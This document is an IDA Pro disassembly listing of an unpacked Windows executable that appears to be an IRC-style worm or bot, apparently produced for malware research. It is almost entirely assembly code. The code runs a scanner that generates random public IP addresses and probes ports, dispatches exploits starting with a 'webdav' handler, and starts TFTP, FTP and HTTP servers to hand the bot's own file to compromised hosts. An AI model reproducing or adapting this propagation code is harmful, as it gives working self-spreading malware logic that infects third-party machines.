; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : AA077CE2E66351270FA97634A3385125 ; File Name : u:\work\aa077ce2e66351270fa97634a3385125_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00082000 ( 532480.) ; Section size in file : 00082000 ( 532480.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; CODE XREF: sub_409848+528Cp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset aScanExploitSta ; "[SCAN]: Exploit Statistics:" push eax xor ebx, ebx call sub_416975 cmp dword_42E068, ebx pop ecx pop ecx mov edi, 200h jz short loc_40106E push esi mov esi, offset dword_42E070 loc_401033: ; CODE XREF: start+6Bj mov eax, [esi] push eax add ebx, eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_416975 push edi lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push eax call sub_416840 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_401033 pop esi loc_40106E: ; CODE XREF: start+2Bj push dword_480AD8 call sub_4129E9 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_416975 push edi lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push eax call sub_416840 push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 lea eax, [ebp+var_200] push eax call sub_401F0F add esp, 38h pop edi pop ebx leave retn start endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010CA proc near ; CODE XREF: sub_409848+4BBBp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 9 call sub_413922 test eax, eax pop ecx jle short loc_401106 mov eax, [ebp+arg_C] push dword_4331E0[eax*8] call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset aScanCurrentIpS ; "[SCAN]: Current IP: %s." push eax call sub_416975 add esp, 0Ch jmp short loc_401119 ; --------------------------------------------------------------------------- loc_401106: ; CODE XREF: sub_4010CA+13j lea eax, [ebp+var_200] push offset aScanScanNotAct ; "[SCAN]: Scan not active." push eax call sub_416975 pop ecx pop ecx loc_401119: ; CODE XREF: sub_4010CA+3Aj push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 lea eax, [ebp+var_200] push eax call sub_401F0F add esp, 18h leave retn sub_4010CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401141 proc near ; CODE XREF: sub_401B94+50p var_204 = byte ptr -204h var_4 = byte ptr -4 arg_24 = byte ptr 2Ch arg_A4 = byte ptr 0ACh arg_124 = dword ptr 12Ch arg_144 = dword ptr 14Ch arg_14C = dword ptr 154h arg_150 = dword ptr 158h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_144] cmp eax, 0FFFFFFFFh jz locret_4014E8 imul eax, 3Ch push ebx xor ebx, ebx cmp dword_42E074[eax], ebx push esi jz loc_4013D9 push 5 call sub_413922 test eax, eax pop ecx jnz loc_4014E6 mov eax, dword_42FCBC push edi push 104h mov edi, offset dword_4347F4 push edi push ebx mov dword_434A04, eax mov dword_434A00, ebx call dword_422010 ; GetModuleFileNameA push 103h push offset byte_42FD4C mov esi, offset dword_4348F8 push esi call sub_416A00 mov eax, [ebp+arg_124] add esp, 0Ch cmp [ebp+arg_A4], bl mov dword_4347F0, eax mov eax, [ebp+arg_14C] mov dword_434A88, eax push 7Fh jnz short loc_4011F1 lea eax, [ebp+arg_24] push eax push offset dword_434A08 call sub_416A00 mov dword_434A8C, 1 jmp short loc_401208 ; --------------------------------------------------------------------------- loc_4011F1: ; CODE XREF: sub_401141+94j lea eax, [ebp+arg_A4] push eax push offset dword_434A08 call sub_416A00 mov dword_434A8C, ebx loc_401208: ; CODE XREF: sub_401141+AEj add esp, 0Ch push esi push edi push dword_434A04 lea eax, [ebp+var_204] push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"... push eax call sub_416975 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_413732 add esp, 20h mov dword_4349FC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4347F0 push offset sub_41326A push ebx push ebx call dword_42200C ; CreateThread mov ecx, dword_4349FC imul ecx, 234h cmp eax, ebx mov dword_43B274[ecx], eax jnz loc_401321 call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "... push eax call sub_416975 add esp, 0Ch loc_401287: ; CODE XREF: sub_401141+1E8j lea eax, [ebp+var_204] push eax call sub_401F0F pop ecx call dword_422004 ; GetTickCount xor edx, edx mov ecx, 0F82Fh div ecx push 104h mov edi, offset dword_43454C push edi push ebx mov dword_434758, ebx add edx, 400h mov dword_43475C, edx call dword_422010 ; GetModuleFileNameA push 103h push offset byte_42FD4C mov esi, offset dword_434650 push esi call sub_416A00 mov eax, [ebp+arg_124] add esp, 0Ch cmp [ebp+arg_A4], bl mov dword_434548, eax mov eax, [ebp+arg_14C] mov dword_4347E0, eax push 7Fh jnz short loc_40132E lea eax, [ebp+arg_24] push eax push offset dword_434760 call sub_416A00 mov dword_4347E4, 1 jmp short loc_401345 ; --------------------------------------------------------------------------- loc_401319: ; CODE XREF: sub_401141+1E6j push 32h call dword_422000 ; Sleep loc_401321: ; CODE XREF: sub_401141+125j cmp dword_434A90, ebx jz short loc_401319 jmp loc_401287 ; --------------------------------------------------------------------------- loc_40132E: ; CODE XREF: sub_401141+1BCj lea eax, [ebp+arg_A4] push eax push offset dword_434760 call sub_416A00 mov dword_4347E4, ebx loc_401345: ; CODE XREF: sub_401141+1D6j add esp, 0Ch push esi push edi push dword_43475C push dword_434548 call sub_408894 pop ecx push eax lea eax, [ebp+var_204] push offset aFtpServerStart ; "[FTP]: Server started on: %s:%d, File: "... push eax call sub_416975 push ebx lea eax, [ebp+var_204] push 6 push eax call sub_413732 add esp, 24h mov dword_434754, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_434548 push offset sub_4042A2 push ebx push ebx call dword_42200C ; CreateThread mov ecx, dword_434754 imul ecx, 234h cmp eax, ebx mov dword_43B274[ecx], eax pop edi jnz short loc_4013CC call dword_422008 ; RtlGetLastWin32Error push eax push offset aFtpFailedToSta ; "[FTP]: Failed to start server, error: <"... jmp loc_4014CA ; --------------------------------------------------------------------------- loc_4013C4: ; CODE XREF: sub_401141+291j push 32h call dword_422000 ; Sleep loc_4013CC: ; CODE XREF: sub_401141+270j cmp dword_4347E8, ebx jz short loc_4013C4 jmp loc_4014D9 ; --------------------------------------------------------------------------- loc_4013D9: ; CODE XREF: sub_401141+25j cmp dword_42E078[eax], ebx jz loc_4014E6 push 4 call sub_413922 test eax, eax pop ecx jnz loc_4014E6 push 104h mov esi, offset dword_434424 push esi push ebx call dword_422010 ; GetModuleFileNameA push 5Ch push esi call sub_4169D0 cmp eax, ebx pop ecx pop ecx jz short loc_401417 mov [eax], bl loc_401417: ; CODE XREF: sub_401141+2D2j mov eax, dword_42FCC0 mov dword_434528, eax lea eax, [ebp+arg_24] push eax push offset dword_43419C mov dword_43453C, ebx call sub_416975 mov eax, [ebp+arg_124] pop ecx pop ecx mov ecx, [ebp+arg_14C] push esi push dword_434528 mov dword_434534, ecx mov ecx, [ebp+arg_150] push eax mov dword_434198, eax mov dword_434538, ecx call sub_408894 pop ecx push eax lea eax, [ebp+var_204] push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"... push eax call sub_416975 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_413732 add esp, 20h mov dword_434530, eax lea eax, [ebp+var_4] push eax loc_401495: ; DATA XREF: .text:off_4317D8o ; .text:off_432090o push ebx push offset dword_434198 push offset sub_40558B push ebx push ebx call dword_42200C ; CreateThread mov ecx, dword_434530 imul ecx, 234h cmp eax, ebx mov dword_43B274[ecx], eax jnz short loc_4014F2 call dword_422008 ; RtlGetLastWin32Error push eax push offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"... loc_4014CA: ; CODE XREF: sub_401141+27Ej lea eax, [ebp+var_204] push eax call sub_416975 add esp, 0Ch loc_4014D9: ; CODE XREF: sub_401141+293j ; sub_401141+3B9j lea eax, [ebp+var_204] push eax call sub_401F0F pop ecx loc_4014E6: ; CODE XREF: sub_401141+35j ; sub_401141+29Ej ... pop esi pop ebx locret_4014E8: ; CODE XREF: sub_401141+12j leave retn ; --------------------------------------------------------------------------- loc_4014EA: ; CODE XREF: sub_401141+3B7j push 32h call dword_422000 ; Sleep loc_4014F2: ; CODE XREF: sub_401141+37Bj cmp dword_434544, ebx jz short loc_4014EA jmp short loc_4014D9 sub_401141 endp ; =============== S U B R O U T I N E ======================================= sub_4014FC proc near ; CODE XREF: sub_40195E:loc_4019C0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] lea esi, ds:4331E0h[esi*8] push dword ptr [esi] call dword_43A494 ; ntohl inc eax push eax call dword_43A4EC ; ntohl mov [esi], eax pop esi retn sub_4014FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40151C proc near ; CODE XREF: sub_4017E8+71p var_E4 = word ptr -0E4h var_E2 = word ptr -0E2h var_E0 = word ptr -0E0h var_DE = word ptr -0DEh var_DC = word ptr -0DCh var_DA = word ptr -0DAh var_D8 = word ptr -0D8h var_D6 = word ptr -0D6h var_D4 = word ptr -0D4h var_D2 = word ptr -0D2h var_D0 = word ptr -0D0h var_CE = word ptr -0CEh var_CC = word ptr -0CCh var_CA = word ptr -0CAh var_C8 = word ptr -0C8h var_C6 = word ptr -0C6h var_C4 = word ptr -0C4h var_C2 = word ptr -0C2h var_C0 = word ptr -0C0h var_BE = word ptr -0BEh var_BC = word ptr -0BCh var_BA = word ptr -0BAh var_B8 = word ptr -0B8h var_B6 = word ptr -0B6h var_B4 = word ptr -0B4h var_B2 = word ptr -0B2h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = word ptr -0A4h var_A2 = word ptr -0A2h var_A0 = word ptr -0A0h var_9E = word ptr -9Eh var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = word ptr -98h var_96 = word ptr -96h var_94 = word ptr -94h var_92 = word ptr -92h var_90 = word ptr -90h var_8E = word ptr -8Eh var_8C = word ptr -8Ch var_8A = word ptr -8Ah var_88 = word ptr -88h var_86 = word ptr -86h var_84 = word ptr -84h var_82 = word ptr -82h var_80 = word ptr -80h var_7E = word ptr -7Eh var_7C = word ptr -7Ch var_7A = word ptr -7Ah var_78 = word ptr -78h var_76 = word ptr -76h var_74 = word ptr -74h var_72 = word ptr -72h var_70 = word ptr -70h var_6E = word ptr -6Eh var_6C = word ptr -6Ch var_6A = word ptr -6Ah var_68 = word ptr -68h var_66 = word ptr -66h var_64 = word ptr -64h var_62 = word ptr -62h var_60 = word ptr -60h var_5E = word ptr -5Eh var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = word ptr -58h var_56 = word ptr -56h var_54 = word ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = word ptr -48h var_46 = word ptr -46h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = word ptr -38h var_36 = word ptr -36h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0E4h xor eax, eax mov [ebp+74h+var_E4], ax mov [ebp+74h+var_E2], 1 mov [ebp+74h+var_E0], 2 mov [ebp+74h+var_DE], 5 mov [ebp+74h+var_DC], 7 mov [ebp+74h+var_DA], 0Bh mov [ebp+74h+var_D8], 17h mov [ebp+74h+var_D6], 1Bh mov [ebp+74h+var_D4], 1Fh mov [ebp+74h+var_D2], 24h mov [ebp+74h+var_D0], 25h mov [ebp+74h+var_CE], 27h mov [ebp+74h+var_CC], 29h mov [ebp+74h+var_CA], 2Ah mov [ebp+74h+var_C8], 31h mov [ebp+74h+var_C6], 32h mov [ebp+74h+var_C4], 49h mov [ebp+74h+var_C2], 4Ah mov [ebp+74h+var_C0], 4Bh mov [ebp+74h+var_BE], 4Ch mov [ebp+74h+var_BC], 4Dh mov [ebp+74h+var_BA], 4Eh mov [ebp+74h+var_B8], 4Fh mov [ebp+74h+var_B6], 59h mov [ebp+74h+var_B4], 5Ah mov [ebp+74h+var_B2], 5Bh mov [ebp+74h+var_B0], 5Ch mov [ebp+74h+var_AE], 5Dh mov [ebp+74h+var_AC], 5Eh mov [ebp+74h+var_AA], 5Fh mov [ebp+74h+var_A8], 60h mov [ebp+74h+var_A6], 61h mov [ebp+74h+var_A4], 62h mov [ebp+74h+var_A2], 63h mov [ebp+74h+var_A0], 64h mov [ebp+74h+var_9E], 65h mov [ebp+74h+var_9C], 66h mov [ebp+74h+var_9A], 67h mov [ebp+74h+var_98], 68h mov [ebp+74h+var_96], 69h mov [ebp+74h+var_94], 6Ah mov [ebp+74h+var_92], 6Bh mov [ebp+74h+var_90], 6Ch mov [ebp+74h+var_8E], 6Dh mov [ebp+74h+var_8C], 6Eh mov [ebp+74h+var_8A], 6Fh mov [ebp+74h+var_88], 70h mov [ebp+74h+var_86], 71h mov [ebp+74h+var_84], 72h mov [ebp+74h+var_82], 73h mov [ebp+74h+var_80], 74h mov [ebp+74h+var_7E], 75h mov [ebp+74h+var_7C], 76h mov [ebp+74h+var_7A], 77h mov [ebp+74h+var_78], 78h mov [ebp+74h+var_76], 79h mov [ebp+74h+var_74], 7Ah mov [ebp+74h+var_72], 7Bh mov [ebp+74h+var_70], 7Ch mov [ebp+74h+var_6E], 7Dh mov [ebp+74h+var_6C], 7Eh mov [ebp+74h+var_6A], 7Fh mov [ebp+74h+var_68], 0ADh mov [ebp+74h+var_66], 0AEh mov [ebp+74h+var_64], 0AFh mov [ebp+74h+var_62], 0B0h mov [ebp+74h+var_60], 0B1h mov [ebp+74h+var_5E], 0B2h mov [ebp+74h+var_5C], 0B3h mov [ebp+74h+var_5A], 0B4h mov [ebp+74h+var_58], 0B5h mov [ebp+74h+var_56], 0B6h mov [ebp+74h+var_54], 0B7h mov [ebp+74h+var_52], 0B8h mov [ebp+74h+var_50], 0B9h mov [ebp+74h+var_4E], 0BAh mov [ebp+74h+var_4C], 0BBh mov [ebp+74h+var_4A], 0BDh mov [ebp+74h+var_48], 0BEh mov [ebp+74h+var_46], 0C5h mov [ebp+74h+var_44], 0DFh mov [ebp+74h+var_42], 0E0h mov [ebp+74h+var_40], 0E1h mov [ebp+74h+var_3E], 0E2h mov [ebp+74h+var_3C], 0E3h mov [ebp+74h+var_3A], 0E4h mov [ebp+74h+var_38], 0E5h mov [ebp+74h+var_36], 0E6h mov [ebp+74h+var_34], 0E7h mov [ebp+74h+var_32], 0E8h mov [ebp+74h+var_30], 0E9h mov [ebp+74h+var_2E], 0EAh mov [ebp+74h+var_2C], 0EBh mov [ebp+74h+var_2A], 0ECh mov [ebp+74h+var_28], 0EDh mov [ebp+74h+var_26], 0EEh mov [ebp+74h+var_24], 0EFh mov [ebp+74h+var_22], 0F0h mov [ebp+74h+var_20], 0F1h mov [ebp+74h+var_1E], 0F2h mov [ebp+74h+var_1C], 0F3h mov [ebp+74h+var_1A], 0F4h mov [ebp+74h+var_18], 0F5h mov [ebp+74h+var_16], 0F6h mov [ebp+74h+var_14], 0F7h mov [ebp+74h+var_12], 0F8h mov [ebp+74h+var_10], 0F9h mov [ebp+74h+var_E], 0FAh mov [ebp+74h+var_C], 0FBh mov [ebp+74h+var_A], 0FCh mov [ebp+74h+var_8], 0FDh mov [ebp+74h+var_6], 0FEh mov [ebp+74h+var_4], 0FFh loc_4017CD: ; CODE XREF: sub_40151C+2BFj movsx ecx, [ebp+eax*2+74h+var_E4] cmp [ebp+74h+arg_0], ecx jz short loc_4017E4 inc eax cmp eax, 71h jb short loc_4017CD xor al, al loc_4017DF: ; CODE XREF: sub_40151C+2CAj add ebp, 74h leave retn ; --------------------------------------------------------------------------- loc_4017E4: ; CODE XREF: sub_40151C+2B9j mov al, 1 jmp short loc_4017DF sub_40151C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017E8 proc near ; CODE XREF: sub_40195E+5Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] push edi or edi, 0FFFFFFFFh mov [ebp+var_4], edi mov [ebp+var_C], edi mov [ebp+var_8], edi mov [ebp+var_10], edi lea ecx, [eax+1] loc_401804: ; CODE XREF: sub_4017E8+21j mov dl, [eax] inc eax test dl, dl jnz short loc_401804 sub eax, ecx cmp eax, 0Fh jbe short loc_401819 xor eax, eax jmp loc_4018BE ; --------------------------------------------------------------------------- loc_401819: ; CODE XREF: sub_4017E8+28j push esi lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_416B53 add esp, 18h cmp [ebp+var_4], edi jnz short loc_401863 call sub_416B31 mov esi, 0FFh jmp short loc_401850 ; --------------------------------------------------------------------------- loc_40184B: ; CODE XREF: sub_4017E8+79j call sub_416B31 loc_401850: ; CODE XREF: sub_4017E8+61j cdq mov ecx, esi idiv ecx push edx mov [ebp+var_4], edx call sub_40151C test al, al pop ecx jnz short loc_40184B loc_401863: ; CODE XREF: sub_4017E8+55j cmp [ebp+var_C], edi mov esi, 100h jnz short loc_40187A call sub_416B31 cdq mov ecx, esi idiv ecx mov [ebp+var_C], edx loc_40187A: ; CODE XREF: sub_4017E8+83j cmp [ebp+var_8], edi jnz short loc_40188A call sub_416B31 cdq idiv esi mov [ebp+var_8], edx loc_40188A: ; CODE XREF: sub_4017E8+95j mov edx, [ebp+var_10] cmp edx, edi pop esi jnz short loc_4018A0 call sub_416B31 cdq mov ecx, 0FEh idiv ecx inc edx loc_4018A0: ; CODE XREF: sub_4017E8+A8j mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] shl edx, 8 add edx, [ebp+var_8] shl edx, 8 add edx, [ebp+var_C] shl edx, 8 add eax, edx mov dword_4331E0[ecx*8], eax loc_4018BE: ; CODE XREF: sub_4017E8+2Cj pop edi leave retn sub_4017E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018C1 proc near ; CODE XREF: sub_40195E+A9p ; sub_40402D+2Cp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx push ebx inc edi push edi push 2 mov [ebp+var_4], edi call dword_43A3BC ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4018EA xor eax, eax jmp short loc_401959 ; --------------------------------------------------------------------------- loc_4018EA: ; CODE XREF: sub_4018C1+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43A514 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43A354 ; ioctlsocket push 10h lea eax, [ebp+var_1C] push eax push esi call dword_43A36C ; connect mov eax, [ebp+arg_8] mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax push ebx lea eax, [ebp+var_120] push eax push ebx push ebx mov [ebp+var_8], ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43A468 ; select push esi mov edi, eax call dword_43A4D0 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_401959: ; CODE XREF: sub_4018C1+27j pop edi pop esi pop ebx leave retn sub_4018C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40195E proc near ; DATA XREF: sub_401B94+14Eo var_2D0 = dword ptr -2D0h var_2B4 = byte ptr -2B4h var_234 = dword ptr -234h var_230 = byte ptr -230h var_220 = byte ptr -220h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = dword ptr -178h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_164 = byte ptr -164h var_154 = byte ptr -154h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2B4h mov eax, [ebp+arg_0] push ebx push esi push edi push 58h mov esi, eax pop ecx lea edi, [ebp+var_164] rep movsd mov edi, [ebp+var_2C] mov dword ptr [eax+15Ch], 1 mov eax, [ebp+var_28] mov [ebp+var_4], edi mov [ebp+arg_0], eax call dword_422004 ; GetTickCount push eax call sub_416B24 mov ebx, edi pop ecx imul ebx, 234h jmp loc_401B70 ; --------------------------------------------------------------------------- loc_4019AA: ; CODE XREF: sub_40195E+220j cmp [ebp+var_10], 0 push eax jz short loc_4019C0 lea eax, [ebp+var_164] push eax call sub_4017E8 pop ecx jmp short loc_4019C5 ; --------------------------------------------------------------------------- loc_4019C0: ; CODE XREF: sub_40195E+51j call sub_4014FC loc_4019C5: ; CODE XREF: sub_40195E+60j pop ecx push [ebp+arg_0] mov esi, eax push dword_43B264[ebx] push [ebp+var_3C] push esi call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_2B4] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call sub_416975 lea eax, [ebp+var_2B4] push eax lea eax, dword_43B060[ebx] push eax call sub_416975 push [ebp+var_38] push [ebp+var_3C] push esi call sub_4018C1 add esp, 2Ch cmp eax, 1 jnz loc_401B65 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_401A99 push offset dword_434180 call dword_42201C ; RtlEnterCriticalSection push [ebp+var_3C] push esi call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_2B4] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push eax call sub_416975 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_401A7B cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_2B4] push eax lea eax, [ebp+var_C0] jnz short loc_401A6F lea eax, [ebp+var_140] loc_401A6F: ; CODE XREF: sub_40195E+109j push eax push [ebp+var_40] call sub_405D62 add esp, 14h loc_401A7B: ; CODE XREF: sub_40195E+EEj lea eax, [ebp+var_2B4] push eax call sub_401F0F mov [esp+2D0h+var_2D0], offset dword_434180 call dword_422018 ; RtlLeaveCriticalSection jmp loc_401B65 ; --------------------------------------------------------------------------- loc_401A99: ; CODE XREF: sub_40195E+BEj push esi call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_230] push eax call sub_416975 mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aWebdav ; "webdav" push eax lea eax, [ebp+var_18C] push eax call sub_416975 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_401ADD lea eax, [ebp+var_140] loc_401ADD: ; CODE XREF: sub_40195E+177j push eax lea eax, [ebp+var_20C] push eax call sub_416975 mov eax, [ebp+var_144] pop ecx mov [ebp+var_210], eax pop ecx xor eax, eax loc_401AFA: ; CODE XREF: sub_40195E+1ADj mov cl, [ebp+eax+var_154] mov [ebp+eax+var_220], cl inc eax test cl, cl jnz short loc_401AFA mov eax, [ebp+var_40] mov [ebp+var_234], eax mov eax, [ebp+var_18] mov [ebp+var_170], eax mov eax, [ebp+var_14] mov [ebp+var_16C], eax mov eax, [ebp+var_3C] mov [ebp+var_180], eax mov eax, [ebp+var_20] mov [ebp+var_178], eax imul eax, 3Ch sub esp, 0D0h push 34h pop ecx mov [ebp+var_17C], edi lea esi, [ebp+var_234] mov edi, esp rep movsd call off_42E06C[eax] mov edi, [ebp+var_4] add esp, 0D0h loc_401B65: ; CODE XREF: sub_40195E+B4j ; sub_40195E+136j push 7D0h call dword_422000 ; Sleep loc_401B70: ; CODE XREF: sub_40195E+47j mov eax, dword_43B264[ebx] cmp dword_4331E4[eax*8], 0 jnz loc_4019AA push edi call sub_4139F6 pop ecx push 0 call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_40195E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B94 proc near ; DATA XREF: sub_409848+4627o ; sub_409848+6052o var_220 = dword ptr -220h var_1E0 = byte ptr -1E0h var_160 = byte ptr -160h var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1E0h mov eax, [ebp+arg_0] push ebx push esi push edi push 58h pop ecx mov esi, eax lea edi, [ebp+var_160] rep movsd mov dword ptr [eax+158h], 1 lea eax, [ebp+var_160] push eax call dword_43A434 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 160h mov dword_4331E0[ecx*8], eax push 58h pop ecx lea esi, [ebp+var_160] mov edi, esp rep movsd call sub_401141 xor ebx, ebx add esp, 160h cmp [ebp+var_140], ebx jnz short loc_401C04 mov eax, dword_439F04 mov [ebp+var_140], eax loc_401C04: ; CODE XREF: sub_401B94+63j push 9 call sub_413922 xor edi, edi inc edi cmp eax, edi pop ecx jnz short loc_401C7A mov esi, offset dword_434180 push esi call dword_422024 ; RtlDeleteCriticalSection push 80000400h push esi call dword_422020 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_401C7A lea eax, [ebp+var_1E0] push offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical s"... push eax call sub_416975 cmp [ebp+var_10], ebx pop ecx pop ecx jnz short loc_401C64 push ebx push [ebp+var_14] lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_405D62 add esp, 14h loc_401C64: ; CODE XREF: sub_401B94+B1j lea eax, [ebp+var_1E0] push eax call sub_401F0F pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_401C7A: ; CODE XREF: sub_401B94+7Dj ; sub_401B94+99j cmp [ebp+var_20], edi mov eax, [ebp+var_2C] mov esi, dword_422000 mov dword_4331E4[eax*8], edi jb loc_401D37 loc_401C93: ; CODE XREF: sub_401B94+19Dj push edi push [ebp+var_2C] lea eax, [ebp+var_160] push [ebp+var_38] mov [ebp+var_24], edi push eax lea eax, [ebp+var_1E0] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax call sub_416975 push ebx lea eax, [ebp+var_1E0] push 9 push eax call sub_413732 mov ecx, [ebp+var_2C] mov [ebp+var_28], eax imul eax, 234h add esp, 24h push ebx push ebx mov dword_43B264[eax], ecx lea eax, [ebp+var_160] push eax push offset sub_40195E push ebx push ebx call dword_42200C ; CreateThread mov ecx, [ebp+var_28] 